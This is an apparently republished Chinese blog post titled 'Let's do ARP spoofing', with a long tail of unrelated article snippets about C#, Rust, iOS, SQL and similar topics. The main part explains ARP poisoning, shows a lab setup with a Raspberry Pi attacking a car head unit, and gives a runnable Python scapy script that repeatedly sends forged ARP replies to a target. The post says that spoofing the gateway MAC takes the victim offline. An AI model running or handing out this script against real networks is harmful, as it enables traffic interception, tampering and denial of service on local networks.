来一场ARP欺骗吧(附攻击脚本)

来一场ARP欺骗吧(附攻击脚本)

ARP简介

百度百科

地址解析协议,即ARP(Address Resolution Protocol),是根据IP地址获取物理地址的一个TCP/IP协议。主机发送信息时将包含目标IP地址的ARP请求广播到局域网络上的所有主机,并接收返回消息,以此确定目标的物理地址;收到返回消息后将该IP地址和物理地址存入本机ARP缓存中并保留一定时间,下次请求时直接查询ARP缓存以节约资源

而在局域网中,主机可以自主发送ARP应答消息,其余主机收到应答报文时不会检测该报文的真实性就会将其记入本机ARP缓存,这也是ARP欺骗的基础

ARP欺骗

ARP协议的基础在于局域网内的主机是相互信任的

而在局域网中,主机可以自主发送ARP应答消息,其余主机收到应答报文时不会检测该报文的真实性就会将其记入本机ARP缓存,这也是ARP欺骗的基础

关于ARP欺骗的百度百科(为什么我写文章一直在抄百度

ARP欺骗(ARP spoofing),又称ARP毒化(ARP poisoning,网络上多译为ARP病毒)或ARP攻击,是针对以太网地址解析协议ARP的一种攻击技术,通过欺骗局域网内访问者PC的网关MAC地址,使访问者PC错以为攻击者更改后的MAC地址是网关的MAC,导致网络不通。此种攻击可让攻击者获取局域网上的数据包甚至可篡改数据包,且可让网络上特定计算机或所有计算机无法正常连线

简单来说就是覆盖受害机ARP表中的MAC地址对应,导致受害机与局域网内的其他设备无法通信

攻击前置

给车机和攻击机放在同一个WIFI下

车机IP

攻击机,即树莓派IP

关闭车机防火墙

iptables -P INPUT ACCEPT

查看路由表

ip neigh list

检测一下wlan下两者的网络能否PING通

可以看到是互通的

ARP脚本 - python

ARP python的攻击脚本arp_spoof.py如下

from scapy.all import *
import time


target_ip="192.168.31.230"
target_mac="04:7f:0e:70:23:c0"

fake_ip="192.168.31.240"
fake_mac="11:22:33:44:55:66"

def arp_spoof():
    arp=ARP()

    arp.psrc=fake_ip
    arp.pdst=target_ip
    arp.hwsrc=fake_mac
    arp.hwdst=target_mac
    pkt=arp

    send(pkt)

if __name__ == '__main__':
    i=1
    while 1:
        time.sleep(1)
        print("第{}次攻击".format(i))
        i+=1
        arp_spoof()

这个脚本在windows上运行不了,会显示没有ARP这个类,即便你已经下载了包,时间问题我就没有去排查原因了

攻击现象

树莓派不断攻击

查看路由表,箭头所指的这一条就是我们伪造的

针对wlan0的ARP欺骗攻击成功

实际过程中覆盖网关MAC地址,就能够实现受害机无法上网的功能

其他工具

其他的一些ARP攻击工具

  • arpspoof

END

建了一个微信的安全交流群,欢迎添加我微信备注进群,一起来聊天吹水哇,以及一个会发布安全相关内容的公众号,欢迎关注 ?

GIF GIF
本文转载于网络 如有侵权请联系删除

相关文章

  • C#如何删除字符串中任何位置的空格?

    C#如何删除字符串中任何位置的空格?——新手编程1001问之C#编程基础你或许知道你能使用String.Trim()方法,去除字符串的头和尾的空格。不幸运的是,这个Trim方法不能去除字符串中间的C#空格。事实上,C#提供了多种方法清除字符串中的空格,我们分述如下。首先,我们最容易想到的当然是Trim()方法,示例代码如下:示例代码1的确,Trim()方法只能去除字符串首尾的空格。上面代码运行的结果显示为:aaa那么,我们如何去掉字符串中间的空格呢?我们可能想到的算法是:以空格为分隔符,将原字符串转换为数组,再遍历数组并且重新拼接为一个新的字符串。理论上,这是没有问题的。示例代码如下:示例代码2我们看到demo2的代码数量明显增加了,并且,新增了一个数组对象和一个新字符串对象,并且使用了两次转换(字符串转数组和数组元素重新拼接位字符串),这样操作显然会影响代码的性能,如果字符串的长度足够大,这个方法就需要斟酌了。那么,C#有没有一个直接清除字符串任意位置空格的方法呢?答案是肯定的,我们可以使用替换函数Replace()来实现。示例代码如下:示例代码3上面代码运行的结果,显示为:This

  • 「转自 InfoQ」Rust:一个不再有 C/C++ 的,实现安全实时软件的未来

    作者丨lochsh译者丨马可薇策划丨王文婧Rust作为新兴编程语言深受Haskell和OCaml等函数式编程语言的影响,使得它在语法上与C++类似,但在语义上则完全不同。Rust是静态类型语言,同时具有完整类型推断,而不是C++的部分类型推断,它在速度上可与C++媲美的同时,也保证了内存安全。索引的故事在详细介绍Rust之前,我们先举一个例子。想象你是一个为新房子搭建煤气管道的工人,你的老板想要你去地下室把煤气管连到街上的主煤气管道里,然而你下楼时却发现有个小问题,这个房子并没有地下室。所以,现在你要做什么呢?什么都不做,还是异想天开地妄图通过把煤气主管道连到隔壁办公室的空调进气口来解决问题?不管怎么说,当你向老板汇报任务完成时,你或许会在煤气爆炸的土灰中以刑事疏忽罪起诉。这就是在某些编程语言中会发生的事。在C里是数组,C++里可能是向量,当程序试图寻找第-1个元素时,什么都有可能发生:或许是每次搜索的结果都不同,让你意识不到这里存在问题。这种被称作是未定义的行为,它发生的可能性并不能完全被杜绝,因为底层的硬件操作从本质上来说并不安全,这些操作在其他的编程语言里可能会被编译器警告,但是

  • ros2之turtlesim命令

    版权声明:署名,允许他人基于本文进行创作,且必须基于与原先许可协议相同的许可协议分发本文(CreativeCommons)如何在ros2熟悉和使用各种指令呢,ros1的经典小乌龟是最快捷的途径之一。ros2_tutorials(turtlesim):https://github.com/zhangrelay/ros2_tutorials通过turtlesim,对比一下ros1和ros2吧:文件组织:ros1:. ├──CHANGELOG.rst ├──CMakeLists.txt ├──images │├──box-turtle.png │├──diamondback.png │├──electric.png │├──fuerte.png │├──groovy.png │├──hydro.png │├──hydro.svg │├──indigo.png │├──indigo.svg │├──jade.png │├──kinetic.png │├──kinetic.svg │├──lunar.png │├──lunar.svg │├──melodic.png │├──palette.pn

  • IOS 给相机添加滤镜效果

    1importCoreImage 2importAVFoundation 3classViewController:UIViewController,AVCaptureVideoDataOutputSampleBufferDelegate 4varfilter:CIFilter! 5varciImage:CIImage! 6varvideoLayer:CALayer! 7varimageView:UIImageView! 8varavCaptureSession:AVCaptureSession! 9varcontext:CIContext={ 10returnCIContext(eaglContext:EAGLContext(api: EAGLRenderingAPI.openGLES2)!,options:nil) 11}() 12overridefuncviewDidLoad(){ 13super.viewDidLoad() 14filter=CIFilter(name:“CIPhotoEffectTransfer”) 15buildUI() 16buildSession() 1

  • iOS开发笔记(二)

    前言开发做笔记是好习惯,总结分享是巩固记忆。 遇到问题,思考其背后的原因、原理。AFNetworking1、progress回调block,不在主线程;2、iPhone4+iOS7,progress回调异常;AFNetworking处理请求是在后台线程。 关闭键盘在任意界面,dismiss键盘。(苹果的响应链设计)[[UIApplicationsharedApplication]sendAction:@selector(resignFirstResponder)to:nilfrom:nilforEvent:nil];复制苹果的解释:Theobjecttoreceivetheactionmessage.Iftargetisnil,theappsendsthemessagetothefirstresponder,fromwhenceitprogressesuptheresponderchainuntilitishandled. ProvisioningProfileiOSTeamProvisioningProfile是第一次使用Xcode添加设备时,Xcode自动生成的,它包含了Xcode

  • Go 语言常量

    常量是一个简单值的标识符,在程序运行时,不会被修改的量。常量中的数据类型只可以是布尔型、数字型(整数型、浮点型和复数)和字符串型。常量的定义格式:constidentifier[type]=value复制你可以省略类型说明符[type],因为编译器可以根据变量的值来推断其类型。显式类型定义:constbstring="abc" 隐式类型定义:constb="abc"多个相同类型的声明可以简写为:constc_name1,c_name2=value1,value2复制以下实例演示了常量的应用:packagemain import"fmt" funcmain(){ constLENGTHint=10 constWIDTHint=5 varareaint consta,b,c=1,false,"str"//多重赋值 area=LENGTH*WIDTH fmt.Printf("面积为:%d",area) println() println(a,b,c) }复制以上实例运行结果为:面积为:5

  • 再也不用愁反复写邮件了,AI机器人用一封邮件就可以搞定所有!

    邮件沟通往往很麻烦,来来往往,尤其是涉及到你需要与多个人沟通协作的时候,一封又一封的邮件是很平常的一件事。每当这个时候就有让人抓狂的欲望。每个人的时间都是很宝贵的,都不愿意无限制的浪费下去,那么,怎样才能让你与其他人之间的交流变得顺畅而高效呢?有一位美国的大学生想要利用人工智能解决这样的问题。他们做了一个可以自动帮你安排日程的机器人——Ahoy.Ai。根据官网上介绍,该机器人可以用1封邮件就搞定会议的所有安排。这样看起来也是很不错的样子啊!就像宋丹丹把大象装冰箱总共分三步,而使用这个机器人,也需要分三个步骤来启动:首先,告诉它你都需要和谁一起开会;其次,这个机器人就会自动的去问每个人什么时候方便开会;最后,这个机器人会在询问一圈之后回来告诉你结果,且可行的方案。Ahoy.Ai是由JesseRowe和AlexOgorek搞出来的AI机器人,ChekLLC,是JesseRowe的第一家公司,并且担任该公司的CEO,他已经从一个小基金获得了14000美元的资助,虽然钱不是很多,但他还是希望把他的想法传扬出去。那么,JesseRowe是如何发现这个用户痛点的呢?JesseRowe介绍说:“我们

  • C# using()的本质

    “ 程序世界没有秘密,所有答案都在源码里 ”     01.点明观点  C#中,非托管资源使用之后必须释放,而using()是使用非托管资源的最佳方式,可以确保资源在代码块结束之后被正确释放,并且代码更简洁。 这里说的非托管资源指的是实现IDisposable或IAsyncDisposable接口的类。 using是如何实现资源释放?本文将予以解答。   02.C#中,using的两个作用  第一种:引入命名空间 用法如下: usingSystem.Text;usings=System.Text;//为命名空间定义别名usingstaticSystem.Math;//引入类型静态成员globalusingSystem.Math;//全局引入复制   第二种:声明一个对象,并确保该对象在代码块执行完之后被释放(Dispose())。 这里主要对第二种用法进行分析。   03.using如何实现资源释放  通常,我们以下面的形式声明一个非托管资源,当代码块执行完之后,资源

  • Linux系列——挂载Windows虚拟文件夹到Linux系统

    ​ 在windows操作系统上安装多台Linux虚拟机,需要方便的在windows系统和虚拟机上的Linux系统进行文件拷贝。 需要用到共享虚拟文件夹技术,将windows文件夹挂载到linux系统中,下面是详细操作步骤: 1、设置共享文件夹(注意需要在虚拟机关机的情况下设置,见下图,按提示一路配置,比较简单) ​   2、在linux系统上安装所需依赖项 安装gcc:yum-yinstallgcc 安装kernel-devel:yum-yinstallkernel-devel 安装open-vm-tools:yum-yinstallopen-vm-tools sudoyuminstallfuse sudoyumprovides/usr/sbin/semanage sudoyuminstallpolicycoreutils-python   3、重新安装VMwareTools(若需要) sudomkdir/mnt/cdrom            

  • Sql中根据旧表创建新表的SQL语句

    今天在网上查了下,根据旧表创建新表的SQL语句,网上给了两个答案 createtabletab_newliketab_old(使用旧表创建新表) createtabletab_newasselectcol1,col2… fromtab_olddefinitiononly   两个语句都试了一下,报错了。 正确的方法是select*intonewtablefromoldtable;如果不想导记录,只想生成表结构:select*intonewtablefromoldtablewhere1=2; 如果newtable已存在,想导入记录:insertintonewtableselect*fromoldtablewhere... 有些也是借鉴一些其他朋友的,我在这总结一下!!  

  • ec2 ubuntu 使用密码登录

      1、重新设置root密码命令: sudopasswdroot 2、sudochmod777/etc/ssh/sshd_config 用完再把权限改回来 3、vi/etc/ssh/sshd_config 找到PasswordAuthenticationno,将no改为yes; 去掉#UsePAMno前面的井号; 退出保存, :qw 4、重启AWSVPS,就可以使用root正常登陆了 sudoservicesshrestart 5、sudochmod755/etc/ssh/sshd_config 复制  

  • 六.企业微信或钉钉通知

    本文以钉钉为例,企业微信流程相同 一、前言 使用Jenkins进行自动化部署,但是发布署后,并没有相应的通知,虽然有邮件发送通知,但是发现邮件会受限于大家接受的设置,导致不能及时看到相关的发布内容。因此考虑Jenkins是否能通知到钉钉的实现方式。 二、使用钉钉推送的优势 实时提醒项目参与人员信息的更新 便于查看 三、配置 3.1钉钉的配置 3.1.1进入钉钉群 进入某个群->点击机器人图标 注意:如果你不是群主,且群主开启了仅群主可管理,那么你将无法创建机器人 3.1.2选择自定义机器人并设置信息(该步骤只能在PC端钉钉上设置,手机端不行) 选择自定义机器人 填写机器人信息 3.1.3复制Hook地址 注意:此处的webhook将用于Jenkins当中的参数配置 以上为钉钉设置。 3.2Jenkins的配置 3.2.1安装插件 进入系统管理 进入管理插件 搜索插件(DingTalk)并安装,如果在Jenkins中无法搜索到该插件,则去该地址下载后手动上传至Jenkins即可:https://updates.jenkins.io/download/plugins/dingdi

  • 闲鱼近一年的重大功能迭代分析

    产品名称:闲鱼 时间跨度:2020/10/14~2021/7/9 关键迭代路径:     分析: 迭代内容1:上线兴趣经验分享社区“会玩” 迭代分析1:这是闲鱼对买家卖家社区的重要布局,社区功能的加入让用户不止拥有买卖双方的关系,提供一个互动分享的平台。满足一部分用户展示好物、分享兴趣需求及一部分用户浏览观看的需求。“会玩”功能的上线让闲鱼的整体内容更加丰富与立体,同时将会对用户的黏度有很大提升。可以猜测闲鱼将要从一个工具性质的二手交易平台向一个更多元的集工具、资讯、社区为一体的大型平台转型。   迭代内容2:上线闲鱼同城:租房、兼职、家具、家电、出行工具 迭代分析2:闲鱼在本地业务上的拓展,原先的同城交易被用户所青睐的原因有:快递时间短、可以当面验货(尤其是对于二手交易来说格外重要)、对同城的人更加信任的心理暗示等。同城功能立足于原先的优势,在二手交易、二手代步工具、数码维修与衣物洗护等领域会获得不小的市场。   迭代内容3:“会玩社区”上线“圈子”功能 迭代分析3:“圈子”是社区功能的进一步延伸,圈子能提供给用户相同的兴趣群体和内容,利用用

  • 每日一句

    如果有天我们湮没在人潮之中,庸碌一生,那是因为我们没有努力要活得丰盛。  ——黄碧云

  • 为什么大家都说,人生苦短我用python

    在Python开发领域流传着这样一句话:人生苦短,我用Python,这句话出自BruceEckel,原文是:Lifeisshort,youneedPython。使用过Python语言的程序员,或者从别的语言(比如Java)转换到Python开发的程序员或许对这句话的理解更加深刻。   例如长期使用过C和Java语言的程序员,在转向Python之后就会发现。采用Python进行机器学习方向的研发确实存在很多方便,主要体现在以下几个方面: 第一:代码量下降明显。 以机器学习为例,采用Java和Python完成同一个算法实现时,Python的实现代码量明显少于Java,有的下降幅度甚至超过一半以上。代码量的下降意味着开发周期的缩短,这在一定程度上减轻了程序员的开发负担。程序员可以把节省的时间做更多有意义的事情,比如做算法设计,或者用来学习等。 第二:开发方便。 Python语言完成代码实现的过程还是比较方便的,一个重要的原因是Python有丰富的库可以使用,比如在机器学习领域比较常见的库有Numpy、Scipy、matplotlib、pandas等,这些库提供了大量的基础实现,在编

  • python的skimage库 图像读取显示

    单幅图像读取并显示 代码 """ 读取图像并显示 """ importmatplotlib.pyplotasplt importmatplotlib fromskimageimportdata matplotlib.rcParams['font.size']=18 images=('astronaut', 'binary_blobs', 'brick', 'colorwheel', 'camera', 'checkerboard', 'chelsea', 'clock', 'coffee', 'coins', 'grass', 'gravel', 'horse', 'logo', 'page', 'text', 'rocket', ) fornameinimages: #getattr(object,name[,default]) #函数功能是从对象object中获取名称为name的属性,等效与调用object.name。 caller=getattr(data,name) #得到图像们 image=caller() plt.figure() plt.title(name)

  • 2017-2018-2 20155225《网络对抗技术》实验一 PC平台逆向破解

    2017-2018-220155225《网络对抗技术》实验一PC平台逆向破解 1、直接修改程序机器指令,改变程序执行流程 理清思路: 我们的目标文件是一个linux可执行文件,格式为ELF(ExecutableandLinkableFormat)。 反汇编,观察文件执行流程。反汇编命令objdump,-d:反汇编代码段代码。 发现主函数里调用了foo函数,通过一个call指定,跳转到foo函数的地址8048491,对应的机器码是e8d7ffffff,e8代表call,d7ffffff就代表了地址8048491,getshell函数的地址是804847d,两个函数的地址偏移量是14,d7ffffff减去14为c3ffffff。所以,只需将d7ffffff修改为c3ffffff即可。 用vi打开目标文件,发现是乱码。因为该文件是二进制文件,vi按照文本文件打开,根本解析不出来。所以在vi里输入:%!xxd,转换为十六进制显示。再通过/e8d7,找到要修改的位置。 按i进入插入模式,修改。 再转换16进制为原格式:%!xxd-r,保存退出:wq 重新反汇编,成功调用了getshell函

  • c++ hello world

    #include<iostream> usingnamespacestd; intmain() { cout<<"HelloWorld!"<<endl; return0; }复制  

  • JavaScript数据类型

    JavaScript JavaScript:三个部分组成,核心是EMCAscript,文档对象模型DOM,浏览器对象模型BOM EMCAscript:语法,类型,语句,关键字,保留字,运算符,对象(封装,继承,多态)基于对象的语言使用对象 JavaScript引用方式 //直接编写 <script> alert('helloyuan') </script> //导入文件 <scriptsrc="hello.js"></script>复制 变量 1.在JavaScript中声明变量不用声明变量类型,全部用var关键字 2.在一行中可以声明多个变量,并且可以是不同类型的   例:varname="ss",age=22 3.使用var声明变量时,在全局声明就是全局变量,在本地声明就是本地变量  如果不用var关键字,则这个变量就是全局变量(全局对象属性) 4.变量名首字符必须是字母,下划线,$三个其中之一,且区分大小写 5.变量命名尽量以一下命名规则 Camel标记法  首字母是小写的,接下来的字母都以大写字符开头。例如:  varmyT

  • linux 设置定时任务执行清理日志脚本

    写在开头: 为了写博客而写博客,写一个定时清理日志流程,顺便复习一些linux命令 ”知其然,不需要知其所以然“ 反正就是一个到处复制粘贴大杂烩   流程: 0.查看磁盘占用情况 为什么要清理日志文件呢 因为写入日志一直在新增,会占据很多磁盘,早晚会爆炸的,所以要定时清理 所以先看看磁盘占用情况 命令: #df-lh FilesystemSizeUsedAvailUse%Mountedon /dev/sda28.6G6.7G1.5G82%/ tmpfs250M76K250M1%/dev/shm /dev/sda1291M33M244M12%/boot /dev/sr01.5G1.5G0100%/media/Ubuntu16.04LTSi386 复制 解释: Used:已经使用的空间 Avail:可以使用的空间 Mountedon:挂载的目录 关于挂载,也理解了好久哦,反正就是Linux“一切皆文件”!   1.写一个shell脚本(.sh) 写入命令: vicleanlog.sh i切换到输入模式,以输入字符。 Esc切换到一般模式 :wq!表示强制保存退出 :q!

  • Maven 安装Jar包到本地仓库

    开始cmd: 例1: mvninstall:install-file-DgroupId=Issues-DartifactId=beautyeye-Dversion=3.5-Dpackaging=jar-Dfile=D:\download\beautyeye_lnf_v3.5_all_in_one\src_all\SwingSets2_for_be_lnf\lib\beautyeye_lnf.jar-DgeneratePom=true复制  例2: D:\code\idea\etms-erp\branches>mvninstall:install-file-Dfile=D:\afs\ws\saf\1.0 \afs-webservice-saf-1.0.jar-DgroupId=com.jd.afs.ws.saf-DartifactId=afs-webserv ice-saf-Dversion=1.0-Dpackaging=jar 复制     需要修改的地方: -DgroupId=XXX -DartifactId=XXX -Dfile=XXX.

相关推荐

推荐阅读